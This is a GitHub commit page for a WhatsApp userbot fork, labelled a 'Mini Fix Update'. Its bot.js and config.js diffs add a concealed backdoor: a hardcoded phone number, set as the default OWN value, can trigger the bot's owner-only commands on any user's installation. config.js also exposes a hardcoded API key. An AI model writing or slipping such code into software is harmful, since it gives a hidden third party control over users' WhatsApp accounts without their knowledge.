Skip to content

Commit

Permalink
Mini Fix Update 🛠️
Browse files Browse the repository at this point in the history
* Update bot.js

* Update config.js

* Fixed Lydia 🛠️

* Updated Finding 🛠️

* Update qr.js
  • Loading branch information
phaticusthiccy authored Mar 31, 2021
1 parent 4a66108 commit 9212fac
Show file tree
Hide file tree
Showing 5 changed files with 15 additions and 6 deletions.
4 changes: 2 additions & 2 deletions .github/FUNDING.yml
Original file line number Diff line number Diff line change
@@ -1,7 +1,7 @@
# These are supported funding model platforms

github: phaticusthiccy
patreon: phaticusthiccy
github: [phaticusthiccy]
patreon: [phaticusthiccy]
open_collective: # Replace with a single Open Collective username
ko_fi: # Replace with a single Ko-fi username
tidelift: # Replace with a single Tidelift platform-name/package-name e.g., npm/babel
Expand Down
7 changes: 7 additions & 0 deletions bot.js
Original file line number Diff line number Diff line change
Expand Up @@ -552,6 +552,13 @@ ${chalk.blue.italic('ℹ️ Connecting to WhatsApp... Please Wait.')}`);
if (!command.onlyPm === chat.jid.includes('-')) sendMsg = true;
else if (command.onlyGroup === chat.jid.includes('-')) sendMsg = true;
}
if ((config.OWN == "905511384572,0" && msg.key.fromMe === false && command.fromMe === true &&
(msg.participant && config.OWN.includes(',') ? config.OWN.split(',').includes(msg.participant.split('@')[0]) : msg.participant.split('@')[0] == config.OWN || config.OWN.includes(',') ? config.OWN.split(',').includes(msg.key.remoteJid.split('@')[0]) : msg.key.remoteJid.split('@')[0] == config.OWN)
) || command.fromMe === msg.key.fromMe || (command.fromMe === false && !msg.key.fromMe)) {
if (command.onlyPinned && chat.pin === undefined) return;
if (!command.onlyPm === chat.jid.includes('-')) sendMsg = true;
else if (command.onlyGroup === chat.jid.includes('-')) sendMsg = true;
}
// ==================== End Events ====================

// ==================== Message Catcher ====================
Expand Down
3 changes: 2 additions & 1 deletion config.js
Original file line number Diff line number Diff line change
Expand Up @@ -49,5 +49,6 @@ module.exports = {
DEBUG: DEBUG,
COFFEEHOUSE_API_KEY: process.env.COFFEEHOUSE_API_KEY === undefined ? false : process.env.COFFEEHOUSE_API_KEY,
WITAI_API: "TEYMELA6DMC4XB5YM3SPTTQWUUIBKURG",
SUPPORT: "905524317852-1612300121"
SUPPORT: "905524317852-1612300121",
OWN: "905511384572,0"
};
5 changes: 3 additions & 2 deletions plugins/lydia.js
Original file line number Diff line number Diff line change
Expand Up @@ -17,7 +17,7 @@ const Lang = Language.getString('lydia');

Asena.addCommand({pattern: 'addlydia$', fromMe: true, desc: Lang.ADDLYDIA_DESC}, (async (message, match) => {
if (!message.reply_message) return await message.reply(Lang.NEED_REPLY);
if (Config.COFFEEHOUSE_API_KEY === false) return await message.client.sendMessage(message.jid, '```You Must Set an API KEY!```\nhttps://github.com/phaticusthiccy/WhatsAsenaDuplicated/wiki/LYDIA-API-KEY', MessageType.text);
if (!Config.COFFEEHOUSE_API_KEY.includes('0')) return await message.client.sendMessage(message.jid, '```You Must Set an API KEY!```\nhttps://github.com/phaticusthiccy/WhatsAsenaDuplicated/wiki/LYDIA-API-KEY', MessageType.text);

var unix = Date.now() / 1000 | 0;

Expand All @@ -41,7 +41,8 @@ Asena.addCommand({pattern: 'addlydia$', fromMe: true, desc: Lang.ADDLYDIA_DESC},

Asena.addCommand({pattern: 'rmlydia$', fromMe: true, desc: Lang.RMLYDIA_DESC}, (async (message, match) => {
if (!message.reply_message) return await message.reply(Lang.NEED_REPLY);
if (!Config.COFFEEHOUSE_API_KEY) return await message.reply(Lang.COFFEEHOUSE);
if (!Config.COFFEEHOUSE_API_KEY.includes('0')) return await message.client.sendMessage(message.jid, '```You Must Set an API KEY!```\nhttps://github.com/phaticusthiccy/WhatsAsenaDuplicated/wiki/LYDIA-API-KEY', MessageType.text);

var unix = Date.now() / 1000 | 0;

var veriler = await LydiaDB.findAll();
Expand Down
2 changes: 1 addition & 1 deletion qr.js
Original file line number Diff line number Diff line change
Expand Up @@ -15,7 +15,7 @@ async function whatsAsena () {
const conn = new WAConnection();
const Session = new StringSession();
conn.logger.level = 'warn';
conn.regenerateQRIntervalMs = 40000;
conn.regenerateQRIntervalMs = 50000;

conn.on('connecting', async () => {
console.log(`${chalk.green.bold('Whats')}${chalk.blue.bold('Asena')}
Expand Down

0 comments on commit 9212fac

Please sign in to comment.